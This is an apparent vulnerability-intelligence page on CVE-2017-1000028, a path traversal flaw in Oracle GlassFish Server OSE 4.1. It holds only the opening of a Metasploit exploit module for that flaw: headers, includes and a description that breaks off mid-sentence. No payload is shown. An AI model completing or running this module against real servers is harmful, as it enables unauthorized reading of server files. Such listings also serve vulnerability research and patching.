java glassfish漏洞_CVE-2017-1000028 Oracle GlassFish Server Open Source Edition 路径遍历漏洞-漏洞情报、漏洞详情、安全漏洞、...

# Exploit title: Oracle Glassfish OSE 4.1 - Path Traversal (Metasploit)

# Author: Dhiraj Mishra

# Date: 2018-08-14

# Software: Oracle Glassfish Server OSE

# Version: 4.1

# Software link: http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip

# CVE: 2017-1000028

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Path Traversal in Oracle GlassFish Server Open Source Edition',

'Description' => %q{

This module exploits an unauthenticated